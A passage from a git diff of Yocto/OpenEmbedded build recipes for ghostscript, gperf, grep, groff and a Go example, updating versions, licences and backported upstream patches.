+ file://ghostscript-9.16-Werror-return-type.patch \
+ file://avoid-host-contamination.patch \
+ "
+
+SRC_URI[sha256sum] = "6f2bc61023469fcf7c7c2d7f1bdd75b75f2b41836aa1d5e641396246d4abbb59"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[gtk] = "--enable-gtk,--disable-gtk,gtk+3"
+PACKAGECONFIG[libidn] = "--with-libidn,--without-libidn,libidn"
+PACKAGECONFIG[libpaper] = "--with-libpaper,--without-libpaper,libpaper"
+PACKAGECONFIG[x11] = "--with-x --x-includes=${STAGING_INCDIR} --x-libraries=${STAGING_LIBDIR}, \
+ --without-x, virtual/libx11 libxext libxt"
+
+EXTRA_OECONF = "--with-jbig2dec \
+ --with-fontpath=${datadir}/fonts \
+ CUPSCONFIG="${STAGING_BINDIR_CROSS}/cups-config" \
+ PKGCONFIG=pkg-config \
+ "
+
+EXTRA_OECONF:append:mipsarcho32 = " --with-large_color_index=0"
+
+EXTRA_OECONF:append:armv7a = "${@bb.utils.contains('TUNE_FEATURES','neon','',' --disable-neon',d)}"
+EXTRA_OECONF:append:armv7ve = "${@bb.utils.contains('TUNE_FEATURES','neon','',' --disable-neon',d)}"
+
+# Uses autoconf but not automake, can't do out-of-tree
+inherit autotools-brokensep pkgconfig
+
+# Prune the source tree of libraries that we're using our packaging of, so that
+# ghostscript can't link to them. Can't prune zlib as that's needed for the
+# native tools.
+prune_sources() {
+ rm -rf ${S}/jpeg/ ${S}/libpng/ ${S}/tiff/ ${S}/expat/ ${S}/freetype/ ${S}/cups/lib
+}
+do_unpack[postfuncs] += "prune_sources"
+
+do_install:append () {
+ oe_runmake DESTDIR=${D} install-so
+ oe_runmake DESTDIR=${D} install-data
+ cp -r ${S}/Resource ${D}${datadir}/ghostscript/${PV}/
+ cp -r ${S}/iccprofiles ${D}${datadir}/ghostscript/${PV}/
+}
+
+# ghostscript does not supports "arc"
+COMPATIBLE_HOST = "^(?!arc).*"
+
+# some entries in NVD uses gpl_ghostscript
+CVE_PRODUCT = "ghostscript gpl_ghostscript"
+
+CVE_STATUS[CVE-2023-38560] = "not-applicable-config: PCL isn't part of the Ghostscript release"
+CVE_STATUS[CVE-2023-38559] = "cpe-incorrect: Issue only appears in versions before 10.02.0"
diff --git a/meta/recipes-extended/ghostscript/ghostscript_9.21.bb b/meta/recipes-extended/ghostscript/ghostscript_9.21.bb
deleted file mode 100644
index bf985c44a3..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript_9.21.bb
+++ /dev/null
@@ -1,137 +0,0 @@
-SUMMARY = "The GPL Ghostscript PostScript/PDF interpreter"
-DESCRIPTION = "Ghostscript is used for PostScript/PDF preview and printing. Usually as \
-a back-end to a program such as ghostview, it can display PostScript and PDF \
-documents in an X11 environment. \
-\
-Furthermore, it can render PostScript and PDF files as graphics to be printed \
-on non-PostScript printers. Supported printers include common \
-dot-matrix, inkjet and laser models. \
-"
-HOMEPAGE = "http://www.ghostscript.com"
-SECTION = "console/utils"
-
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=70dc2bac4d0ce4448da873cd86b123fc"
-
-DEPENDS = "ghostscript-native tiff jpeg fontconfig cups libpng"
-DEPENDS_class-native = "libpng-native"
-
-UPSTREAM_CHECK_URI = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases"
-UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.tar"
-
-SRC_URI_BASE = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs921/${BPN}-${PV}.tar.gz \
- file://ghostscript-9.15-parallel-make.patch \
- file://ghostscript-9.16-Werror-return-type.patch \
- file://do-not-check-local-libpng-source.patch \
- file://avoid-host-contamination.patch \
- file://mkdir-p.patch \
-"
-
-SRC_URI = "${SRC_URI_BASE} \
- file://ghostscript-9.21-prevent_recompiling.patch \
- file://ghostscript-9.02-genarch.patch \
- file://objarch.h \
- file://cups-no-gcrypt.patch \
- file://CVE-2016-7977.patch \
- file://CVE-2017-7207.patch \
- file://CVE-2017-5951.patch \
- file://CVE-2017-7975.patch \
- file://CVE-2017-9216.patch \
- file://CVE-2017-9611.patch \
- file://CVE-2017-9612.patch \
- file://CVE-2017-9739.patch \
- file://CVE-2017-9726.patch \
- file://CVE-2017-9727.patch \
- file://CVE-2017-9835.patch \
- file://CVE-2017-11714.patch \
- "
-
-SRC_URI_class-native = "${SRC_URI_BASE} \
- file://ghostscript-9.21-native-fix-disable-system-libtiff.patch \
- file://base-genht.c-add-a-preprocessor-define-to-allow-fope.patch \
- "
-
-SRC_URI[md5sum] = "5f213281761d2750fcf27476c404d17f"
-SRC_URI[sha256sum] = "02bceadbc4dddeb6f2eec9c8b1623d945d355ca11b8b4df035332b217d58ce85"
-
-# Put something like
-#
-# PACKAGECONFIG_append_pn-ghostscript = " x11"
-#
-# in local.conf to enable building with X11. Be careful. The order
-# of the overrides matters!
-#
-#PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11', '', d)}"
-PACKAGECONFIG_class-native = ""
-
-PACKAGECONFIG[x11] = "--with-x --x-includes=${STAGING_INCDIR} --x-libraries=${STAGING_LIBDIR}, \
- --without-x, virtual/libx11 libxext libxt gtk+3\
- "
-
-EXTRA_OECONF = "--with-system-libtiff --without-jbig2dec \
- --with-fontpath=${datadir}/fonts \
- --without-libidn --with-cups-serverbin=${exec_prefix}/lib/cups \
- --with-cups-datadir=${datadir}/cups \
- CUPSCONFIG="${STAGING_BINDIR_CROSS}/cups-config" \
- "
-
-EXTRA_OECONF_append_mipsarcho32 = " --with-large_color_index=0"
-
-# Explicity disable libtiff, fontconfig,
-# freetype, cups for ghostscript-native
-EXTRA_OECONF_class-native = "--without-x --with-system-libtiff=no \
- --without-jbig2dec \
- --with-fontpath=${datadir}/fonts \
- --without-libidn --disable-fontconfig \
- --disable-freetype --disable-cups"
-
-# This has been fixed upstream but for now we need to subvert the check for time.h
-# http://bugs.ghostscript.com/show_bug.cgi?id=692443
-# http://bugs.ghostscript.com/show_bug.cgi?id=692426
-CFLAGS += "-DHAVE_SYS_TIME_H=1"
-BUILD_CFLAGS += "-DHAVE_SYS_TIME_H=1"
-
-inherit autotools
-
-do_configure_prepend () {
- mkdir -p obj
- mkdir -p soobj
- if [ -e ${WORKDIR}/objarch.h ]; then
- cp ${WORKDIR}/objarch.h obj/arch.h
- fi
-}
-
-do_configure_append () {
- # copy tools from the native ghostscript build
- if [ "${PN}" != "ghostscript-native" ]; then
- mkdir -p obj/aux soobj
- for i in genarch genconf mkromfs echogs gendev genht; do
- cp ${STAGING_BINDIR_NATIVE}/ghostscript-${PV}/$i obj/aux/$i
- done
- fi
-}
-
-do_install_append () {
- mkdir -p ${D}${datadir}/ghostscript/${PV}/
- cp -r ${S}/Resource ${D}${datadir}/ghostscript/${PV}/
- cp -r ${S}/iccprofiles ${D}${datadir}/ghostscript/${PV}/
-}
-
-do_compile_class-native () {
- mkdir -p obj
- for i in genarch genconf mkromfs echogs gendev genht; do
- oe_runmake obj/aux/$i
- done
-}
-
-do_install_class-native () {
- install -d ${D}${bindir}/ghostscript-${PV}
- for i in genarch genconf mkromfs echogs gendev genht; do
- install -m 755 obj/aux/$i ${D}${bindir}/ghostscript-${PV}/$i
- done
-}
-
-BBCLASSEXTEND = "native"
-
-# ghostscript does not supports "arc"
-COMPATIBLE_HOST = "^(?!arc).*"
diff --git a/meta/recipes-extended/go-examples/go-helloworld_0.1.bb b/meta/recipes-extended/go-examples/go-helloworld_0.1.bb
index ab70ea98a3..74f3520eae 100644
--- a/meta/recipes-extended/go-examples/go-helloworld_0.1.bb
+++ b/meta/recipes-extended/go-examples/go-helloworld_0.1.bb
@@ -1,20 +1,22 @@
-DESCRIPTION = "This is a simple example recipe that cross-compiles a Go program."
+SUMMARY = "This is a simple example recipe that cross-compiles a Go program."
SECTION = "examples"
HOMEPAGE = "https://golang.org/"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
-SRC_URI = "git://${GO_IMPORT}"
-SRCREV = "46695d81d1fae905a270fb7db8a4d11a334562fe"
+SRC_URI = "git://go.googlesource.com/example;branch=master;protocol=https"
+SRCREV = "32022caedd6a177a7717aa8680cbe179e1045935"
UPSTREAM_CHECK_COMMITS = "1"
-GO_IMPORT = "github.com/golang/example"
+GO_IMPORT = "golang.org/x/example"
GO_INSTALL = "${GO_IMPORT}/hello"
+export GO111MODULE="off"
+
inherit go
# This is just to make clear where this example is
-do_install_append() {
+do_install:append() {
mv ${D}${bindir}/hello ${D}${bindir}/${BPN}
}
diff --git a/meta/recipes-extended/gperf/gperf.inc b/meta/recipes-extended/gperf/gperf.inc
deleted file mode 100644
index a8ce230f65..0000000000
--- a/meta/recipes-extended/gperf/gperf.inc
+++ /dev/null
@@ -1,22 +0,0 @@
-DESCRIPTION = "GNU gperf is a perfect hash function generator"
-HOMEPAGE = "http://www.gnu.org/software/gperf"
-SUMMARY = "Generate a perfect hash function from a set of keywords"
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
- file://src/main.cc;beginline=8;endline=19;md5=dec8f611845d047387ed56b5b85fa99b"
-
-SRC_URI = "${GNU_MIRROR}/gperf/gperf-${PV}.tar.gz"
-
-inherit autotools
-
-# autoreconf couldn't find acinclude.m4 when stepping into subdirectory. Instead of
-# duplicating acinclude.m4 in every subdirectory, use absolute include path to aclocal
-EXTRA_AUTORECONF += " -I ${S}"
-
-do_configure_prepend() {
- if [ ! -e ${S}/acinclude.m4 ]; then
- cat ${S}/aclocal.m4 > ${S}/acinclude.m4
- fi
-}
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/gperf/gperf/0001-Make-the-code-C-17-compliant.patch b/meta/recipes-extended/gperf/gperf/0001-Make-the-code-C-17-compliant.patch
new file mode 100644
index 0000000000..96e70cdb36
--- /dev/null
+++ b/meta/recipes-extended/gperf/gperf/0001-Make-the-code-C-17-compliant.patch
@@ -0,0 +1,29 @@
+From 6194f0027045433598a61965758b4531a3d06d1f Mon Sep 17 00:00:00 2001
+From: Bruno Haible <bruno@clisp.org>
+Date: Sun, 30 Aug 2020 12:36:15 +0200
+Subject: [PATCH] Make the code C++17 compliant.
+
+* lib/getline.cc (getstr): Don't use the 'register' keyword.
+
+Upstream-Status: Backport [https://git.savannah.gnu.org/gitweb/?p=gperf.git;a=commit;h=a63b830554920476881837eeacd4a6b507632b19]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ lib/getline.cc | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/lib/getline.cc b/lib/getline.cc
+index c57c633..0984a7c 100644
+--- a/lib/getline.cc
++++ b/lib/getline.cc
+@@ -55,7 +55,7 @@ getstr (char **lineptr, size_t *n, FILE *stream, char terminator, size_t offset)
+
+ for (;;)
+ {
+- register int c = getc (stream);
++ int c = getc (stream);
+
+ /* We always want at least one char left in the buffer, since we
+ always (unless we get an error while reading the first char)
+--
+2.39.0
+
diff --git a/meta/recipes-extended/gperf/gperf/1862c6e57a308a05889c80c048dbc58bdc378dcb.patch b/meta/recipes-extended/gperf/gperf/1862c6e57a308a05889c80c048dbc58bdc378dcb.patch
new file mode 100644
index 0000000000..98959db0a8
--- /dev/null
+++ b/meta/recipes-extended/gperf/gperf/1862c6e57a308a05889c80c048dbc58bdc378dcb.patch
@@ -0,0 +1,181 @@
+From 1862c6e57a308a05889c80c048dbc58bdc378dcb Mon Sep 17 00:00:00 2001
+From: Bruno Haible <bruno@clisp.org>
+Date: Tue, 5 Jul 2022 07:51:46 +0200
+Subject: [PATCH] Add support for reproducible builds.
+
+Suggested by Richard Purdie <richard.purdie@linuxfoundation.org> in
+<https://lists.gnu.org/archive/html/bug-gperf/2022-07/msg00000.html>.
+
+* autogen.sh: Import also lib/filename.h.
+* Makefile.in (IMPORTED_FILES): Add lib/filename.h.
+* src/options.cc: Include filename.h.
+(Options::print_options): Print only the base name of the program name.
+* tests/*.exp: Update.
+
+Upstream-Status: Backport
+
+Index: gperf-3.1/ChangeLog
+===================================================================
+--- gperf-3.1.orig/ChangeLog
++++ gperf-3.1/ChangeLog
+@@ -1,3 +1,14 @@
++2022-07-05 Bruno Haible <bruno@clisp.org>
++
++ Add support for reproducible builds.
++ Suggested by Richard Purdie <richard.purdie@linuxfoundation.org> in
++ <https://lists.gnu.org/archive/html/bug-gperf/2022-07/msg00000.html>.
++ * autogen.sh: Import also lib/filename.h.
++ * Makefile.in (IMPORTED_FILES): Add lib/filename.h.
++ * src/options.cc: Include filename.h.
++ (Options::print_options): Print only the base name of the program name.
++ * tests/*.exp: Update.
++
+ 2017-01-02 Marcel Schaible <marcel.schaible@studium.fernuni-hagen.de>
+
+ * gperf-3.1 released.
+Index: gperf-3.1/src/options.cc
+===================================================================
+--- gperf-3.1.orig/src/options.cc
++++ gperf-3.1/src/options.cc
+@@ -26,6 +26,7 @@
+ #include <string.h> /* declares strcmp() */
+ #include <ctype.h> /* declares isdigit() */
+ #include <limits.h> /* defines CHAR_MAX */
++#include "filename.h"
+ #include "getopt.h"
+ #include "version.h"
+
+@@ -280,6 +281,16 @@ Options::print_options () const
+ {
+ const char *arg = _argument_vector[i];
+
++ if (i == 0)
++ {
++ /* _argument_vector[0] is the program name. Print only its base name.
++ This is useful for reproducible builds. */
++ const char *p = arg + strlen (arg);
++ while (p > arg && ! ISSLASH (p[-1]))
++ p--;
++ arg = p;
++ }
++
+ /* Escape arg if it contains shell metacharacters. */
+ if (*arg == '-')
+ {
+Index: gperf-3.1/lib/filename.h
+===================================================================
+--- /dev/null
++++ gperf-3.1/lib/filename.h
+@@ -0,0 +1,112 @@
++/* Basic filename support macros.
++ Copyright (C) 2001-2022 Free Software Foundation, Inc.
++ This file is part of the GNU C Library.
++
++ The GNU C Library is free software; you can redistribute it and/or
++ modify it under the terms of the GNU Lesser General Public
++ License as published by the Free Software Foundation; either
++ version 2.1 of the License, or (at your option) any later version.
++
++ The GNU C Library is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
++ Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public
++ License along with the GNU C Library; if not, see
++ <https://www.gnu.org/licenses/>. */
++
++/* From Paul Eggert and Jim Meyering. */
++
++#ifndef _FILENAME_H
++#define _FILENAME_H
++
++#include <string.h>
++
++#ifdef __cplusplus
++extern "C" {
++#endif
++
++
++/* Filename support.
++ ISSLASH(C) tests whether C is a directory separator
++ character.
++ HAS_DEVICE(Filename) tests whether Filename contains a device
++ specification.
++ FILE_SYSTEM_PREFIX_LEN(Filename) length of the device specification
++ at the beginning of Filename,
++ index of the part consisting of
++ alternating components and slashes.
++ FILE_SYSTEM_DRIVE_PREFIX_CAN_BE_RELATIVE
++ 1 when a non-empty device specification
++ can be followed by an empty or relative
++ part,
++ 0 when a non-empty device specification
++ must be followed by a slash,
++ 0 when device specification don't exist.
++ IS_ABSOLUTE_FILE_NAME(Filename)
++ tests whether Filename is independent of
++ any notion of "current directory".
++ IS_RELATIVE_FILE_NAME(Filename)
++ tests whether Filename may be concatenated
++ to a directory filename.
++ Note: On native Windows, OS/2, DOS, "c:" is neither an absolute nor a
++ relative file name!
++ IS_FILE_NAME_WITH_DIR(Filename) tests whether Filename contains a device
++ or directory specification.
++ */
++#if defined _WIN32 || defined __CYGWIN__ \
++ || defined __EMX__ || defined __MSDOS__ || defined __DJGPP__
++ /* Native Windows, Cygwin, OS/2, DOS */
++# define ISSLASH(C) ((C) == '/' || (C) == '\\')
++ /* Internal macro: Tests whether a character is a drive letter. */
++# define _IS_DRIVE_LETTER(C) \
++ (((C) >= 'A' && (C) <= 'Z') || ((C) >= 'a' && (C) <= 'z'))
++ /* Help the compiler optimizing it. This assumes ASCII. */
++# undef _IS_DRIVE_LETTER
++# define _IS_DRIVE_LETTER(C) \
++ (((unsigned int) (C) | ('a' - 'A')) - 'a' <= 'z' - 'a')
++# define HAS_DEVICE(Filename) \
++ (_IS_DRIVE_LETTER ((Filename)[0]) && (Filename)[1] == ':')
++# define FILE_SYSTEM_PREFIX_LEN(Filename) (HAS_DEVICE (Filename) ? 2 : 0)
++# ifdef __CYGWIN__
++# define FILE_SYSTEM_DRIVE_PREFIX_CAN_BE_RELATIVE 0
++# else
++ /* On native Windows, OS/2, DOS, the system has the notion of a
++ "current directory" on each drive. */
++# define FILE_SYSTEM_DRIVE_PREFIX_CAN_BE_RELATIVE 1
++# endif
++# if FILE_SYSTEM_DRIVE_PREFIX_CAN_BE_RELATIVE
++# define IS_ABSOLUTE_FILE_NAME(Filename) \
++ ISSLASH ((Filename)[FILE_SYSTEM_PREFIX_LEN (Filename)])
++# else
++# define IS_ABSOLUTE_FILE_NAME(Filename) \
++ (ISSLASH ((Filename)[0]) || HAS_DEVICE (Filename))
++# endif
++# define IS_RELATIVE_FILE_NAME(Filename) \
++ (! (ISSLASH ((Filename)[0]) || HAS_DEVICE (Filename)))
++# define IS_FILE_NAME_WITH_DIR(Filename) \
++ (strchr ((Filename), '/') != NULL || strchr ((Filename), '\\') != NULL \
++ || HAS_DEVICE (Filename))
++#else
++ /* Unix */
++# define ISSLASH(C) ((C) == '/')
++# define HAS_DEVICE(Filename) ((void) (Filename), 0)
++# define FILE_SYSTEM_PREFIX_LEN(Filename) ((void) (Filename), 0)
++# define FILE_SYSTEM_DRIVE_PREFIX_CAN_BE_RELATIVE 0
++# define IS_ABSOLUTE_FILE_NAME(Filename) ISSLASH ((Filename)[0])
++# define IS_RELATIVE_FILE_NAME(Filename) (! ISSLASH ((Filename)[0]))
++# define IS_FILE_NAME_WITH_DIR(Filename) (strchr ((Filename), '/') != NULL)
++#endif
++
++/* Deprecated macros. For backward compatibility with old users of the
++ 'filename' module. */
++#define IS_ABSOLUTE_PATH IS_ABSOLUTE_FILE_NAME
++#define IS_PATH_WITH_DIR IS_FILE_NAME_WITH_DIR
++
++
++#ifdef __cplusplus
++}
++#endif
++
++#endif /* _FILENAME_H */
diff --git a/meta/recipes-extended/gperf/gperf_3.1.bb b/meta/recipes-extended/gperf/gperf_3.1.bb
index 942820b91d..c57ade9fe3 100644
--- a/meta/recipes-extended/gperf/gperf_3.1.bb
+++ b/meta/recipes-extended/gperf/gperf_3.1.bb
@@ -1,5 +1,21 @@
-require gperf.inc
-
+DESCRIPTION = "GNU gperf is a perfect hash function generator"
+HOMEPAGE = "http://www.gnu.org/software/gperf"
+SUMMARY = "Generate a perfect hash function from a set of keywords"
+LICENSE = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
+ file://src/main.cc;beginline=8;endline=19;md5=dec8f611845d047387ed56b5b85fa99b"
+SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz \
+ file://0001-Make-the-code-C-17-compliant.patch"
SRC_URI[md5sum] = "9e251c0a618ad0824b51117d5d9db87e"
SRC_URI[sha256sum] = "588546b945bba4b70b6a3a616e80b4ab466e3f33024a352fc2198112cdbb3ae2"
+
+SRC_URI += "file://1862c6e57a308a05889c80c048dbc58bdc378dcb.patch"
+
+inherit autotools
+
+# The nested configures don't find the parent aclocal.m4 out of the box, so tell
+# it where to look explicitly (mirroring the behaviour of upstream's Makefile.devel).
+EXTRA_AUTORECONF += " -I ${S} --exclude=aclocal"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/grep/grep/0001-Unset-need_charset_alias-when-building-for-musl.patch b/meta/recipes-extended/grep/grep/0001-Unset-need_charset_alias-when-building-for-musl.patch
deleted file mode 100644
index ba1a4bab4c..0000000000
--- a/meta/recipes-extended/grep/grep/0001-Unset-need_charset_alias-when-building-for-musl.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From b9565dc2fe0c4f7daaec91b7e83bc7313dee2f4a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 13 Apr 2015 17:02:13 -0700
-Subject: [PATCH] Unset need_charset_alias when building for musl
-
-localcharset uses ac_cv_gnu_library_2_1 from glibc21.m4
-which actually shoudl be fixed in gnulib and then all downstream
-projects will get it eventually. For now we apply the fix to
-coreutils
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- lib/gnulib.mk | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/lib/gnulib.mk b/lib/gnulib.mk
-index e1d74db..c0e92dd 100644
---- a/lib/gnulib.mk
-+++ b/lib/gnulib.mk
-@@ -1882,7 +1882,7 @@ install-exec-localcharset: all-local
- case '$(host_os)' in \
- darwin[56]*) \
- need_charset_alias=true ;; \
-- darwin* | cygwin* | mingw* | pw32* | cegcc*) \
-+ darwin* | cygwin* | mingw* | pw32* | cegcc* | linux-musl*) \
- need_charset_alias=false ;; \
- *) \
- need_charset_alias=true ;; \
---
-2.1.4
-
diff --git a/meta/recipes-extended/grep/grep_3.1.bb b/meta/recipes-extended/grep/grep_3.11.bb
index 05b6b93949..cb3105de04 100644
--- a/meta/recipes-extended/grep/grep_3.1.bb
+++ b/meta/recipes-extended/grep/grep_3.11.bb
@@ -1,25 +1,22 @@
SUMMARY = "GNU grep utility"
HOMEPAGE = "http://savannah.gnu.org/projects/grep/"
+DESCRIPTION = "Grep searches one or more input files for lines containing a match to a specified pattern. By default, grep prints the matching lines."
BUGTRACKER = "http://savannah.gnu.org/bugs/?group=grep"
SECTION = "console/utils"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=8006d9c814277c1bfc4ca22af94b59ee"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
-SRC_URI = "${GNU_MIRROR}/grep/grep-${PV}.tar.xz \
- file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
- "
+SRC_URI = "${GNU_MIRROR}/grep/grep-${PV}.tar.xz"
-SRC_URI[md5sum] = "feca7b3e7c7f4aab2b42ecbfc513b070"
-SRC_URI[sha256sum] = "db625c7ab3bb3ee757b3926a5cfa8d9e1c3991ad24707a83dde8a5ef2bf7a07e"
+SRC_URI[sha256sum] = "1db2aedde89d0dea42b16d9528f894c8d15dae4e190b59aecc78f5a951276eab"
inherit autotools gettext texinfo pkgconfig
-EXTRA_OECONF = "--disable-perl-regexp"
-
# Fix "Argument list too long" error when len(TMPDIR) = 410
acpaths = "-I ./m4"
-do_configure_prepend () {
+do_configure:prepend () {
+ sed -i -e '1s,#!@SHELL@,#!/bin/sh,' ${S}/src/egrep.sh
rm -f ${S}/m4/init.m4
}
@@ -36,11 +33,14 @@ do_install () {
inherit update-alternatives
+PACKAGECONFIG ??= "pcre"
+PACKAGECONFIG[pcre] = "--enable-perl-regexp,--disable-perl-regexp,libpcre2"
+
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "grep egrep fgrep"
+ALTERNATIVE:${PN} = "grep egrep fgrep"
ALTERNATIVE_LINK_NAME[grep] = "${base_bindir}/grep"
ALTERNATIVE_LINK_NAME[egrep] = "${base_bindir}/egrep"
ALTERNATIVE_LINK_NAME[fgrep] = "${base_bindir}/fgrep"
-export CONFIG_SHELL="/bin/sh"
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch b/meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch
new file mode 100644
index 0000000000..6dc84c9062
--- /dev/null
+++ b/meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch
@@ -0,0 +1,25 @@
+From aa1f37f1e0ff0dc0eeb199b52959e0deb275721e Mon Sep 17 00:00:00 2001
+From: Jeremy Puhlman <jpuhlman@mvista.com>
+Date: Sat, 7 Mar 2020 00:59:13 +0000
+Subject: [PATCH] Make manpages mulitlib identical
+
+Upstream-Status: Submitted [by email to g.branden.robinson@gmail.com]
+Signed-off-by: Jeremy Puhlman <jpuhlman@mvista.com>
+
+---
+ Makefile.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Makefile.am b/Makefile.am
+index f7ab410..7e1f3fb 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -891,7 +891,7 @@ SUFFIXES += .man
+ -e "s|[@]PAGE[@]|\\\\%$(PAGE)|g" \
+ -e "s|[@]PDFDOCDIR[@]|`echo $(pdfdocdir) | sed -f $(makevarescape)`|g" \
+ -e "s|[@]PSPRINT[@]|`echo $(PSPRINT) | sed -f $(makevarescape)`|g" \
+- -e "s|[@]SYSTEMMACRODIR[@]|`echo $(systemtmacdir) | sed -f $(makevarescape)`|g" \
++ -e "s|[@]SYSTEMMACRODIR[@]|`echo $(systemtmacdir) | sed -e 's,$(libdir),$(prefix)/lib*,' | sed -f $(makevarescape)`|g" \
+ -e "s|[@]TMAC_AN_PREFIX[@]|\\\\%$(tmac_an_prefix)|g" \
+ -e "s|[@]TMAC_M_PREFIX[@]|\\\\%$(tmac_m_prefix)|g" \
+ -e "s|[@]TMAC_MDIR[@]|`echo $(tmacdir) | sed -f $(makevarescape)`/mm|g" \
diff --git a/meta/recipes-extended/groff/files/0001-build-Fix-Savannah-64681-webpage.ps-deps.patch b/meta/recipes-extended/groff/files/0001-build-Fix-Savannah-64681-webpage.ps-deps.patch
new file mode 100644
index 0000000000..eae5dc9998
--- /dev/null
+++ b/meta/recipes-extended/groff/files/0001-build-Fix-Savannah-64681-webpage.ps-deps.patch
@@ -0,0 +1,51 @@
+From c75965053124149381ada3c394da74be078076cf Mon Sep 17 00:00:00 2001
+From: "G. Branden Robinson" <g.branden.robinson@gmail.com>
+Date: Sat, 16 Sep 2023 16:28:00 -0500
+Subject: [PATCH] [build]: Fix Savannah #64681 (webpage.ps deps).
+
+* doc/doc.am (doc/webpage.ps, doc/webpage.html): Update and parallelize
+ target dependencies. Resolve race by requiring "grn" and "soelim" to
+ be built first. Also add dependency on `$(TMAC_PACKAGE_MS)`.
+
+Fixes <https://savannah.gnu.org/bugs/?64681>. Thanks to Alexander
+Kanavin for the report.
+
+ANNOUNCE: Acknowledge Alexander.
+
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ doc/doc.am | 12 ++++++++----
+ 1 file changed, 8 insertions(+), 4 deletions(-)
+
+diff --git a/doc/doc.am b/doc/doc.am
+index cddc51907..d3c9ab6b7 100644
+--- a/doc/doc.am
++++ b/doc/doc.am
+@@ -346,6 +346,9 @@ doc/pic.ps: $(doc_srcdir)/pic.ms eqn pic tbl
+ $(GROFF_V)$(MKDIR_P) `dirname $@` \
+ && $(DOC_GROFF) -pet -Tps -ms $(doc_srcdir)/pic.ms >$@
+
++# groff(1)'s `-I` implies `-g` and `-s`, so we must depend on grn and
++# soelim even though the document doesn't require them.
++doc/webpage.ps: grn soelim
+ doc/webpage.ps: $(DOC_GNU_EPS) tmac/www.tmac tbl
+ doc/webpage.ps: $(doc_srcdir)/webpage.ms
+ $(GROFF_V)$(MKDIR_P) `dirname $@` \
+@@ -365,11 +368,12 @@ doc/pic.html: $(doc_srcdir)/pic.ms
+ && $(DOC_GROFF) -pet -P-Ipic -P-Dimg -P-jpic -Thtml -ms \
+ $(doc_srcdir)/pic.ms > pic.html
+
+-doc/webpage.html: tbl
+-doc/webpage.html: tmac/www.tmac
+-doc/webpage.html: $(DOC_GNU_EPS)
++# groff(1)'s `-I` implies `-g` and `-s`, so we must depend on grn and
++# soelim even though the document doesn't require them.
++doc/webpage.html: grn soelim
++doc/webpage.html: $(DOC_GNU_EPS) tmac/www.tmac tbl
+ doc/webpage.html: $(doc_srcdir)/groff.css
+-doc/webpage.html: $(doc_srcdir)/webpage.ms
++doc/webpage.html: $(doc_srcdir)/webpage.ms $(TMAC_PACKAGE_MS)
+ $(GROFF_V)$(MKDIR_P) $(doc_builddir) \
+ && cd $(doc_builddir) \
+ && $(DOC_GROFF) -t -I $(doc_srcdir) -P-jwebpage -P-nrb \
diff --git a/meta/recipes-extended/groff/files/0001-build-meintro_fr.ps-depends-on-tbl.patch b/meta/recipes-extended/groff/files/0001-build-meintro_fr.ps-depends-on-tbl.patch
new file mode 100644
index 0000000000..3e81b86ac8
--- /dev/null
+++ b/meta/recipes-extended/groff/files/0001-build-meintro_fr.ps-depends-on-tbl.patch
@@ -0,0 +1,31 @@
+From f21e9f13beb57a1e0666edf9693d7c83f2189897 Mon Sep 17 00:00:00 2001
+From: "G. Branden Robinson" <g.branden.robinson@gmail.com>
+Date: Fri, 22 Sep 2023 01:27:57 -0500
+Subject: [PATCH] [build]: meintro_fr.ps depends on tbl.
+
+* doc/doc.am (doc/meintro_fr.ps): Depend on tbl, resolving race in
+ sufficiently parallelized builds. Overlooked in commit 92349ae223,
+ 2022-05-30.
+
+Fixes <https://savannah.gnu.org/bugs/?64695>. Thanks to Alexander
+Kanavin for the report.
+
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ doc/doc.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/doc/doc.am b/doc/doc.am
+index d3c9ab6b7..0f95c7774 100644
+--- a/doc/doc.am
++++ b/doc/doc.am
+@@ -334,7 +334,7 @@ SUFFIXES += .me.in .me
+
+ # Use '-K utf8', not '-k', in case 'configure' didn't find uchardet.
+ # The French translation uses tbl; its English counterpart does not.
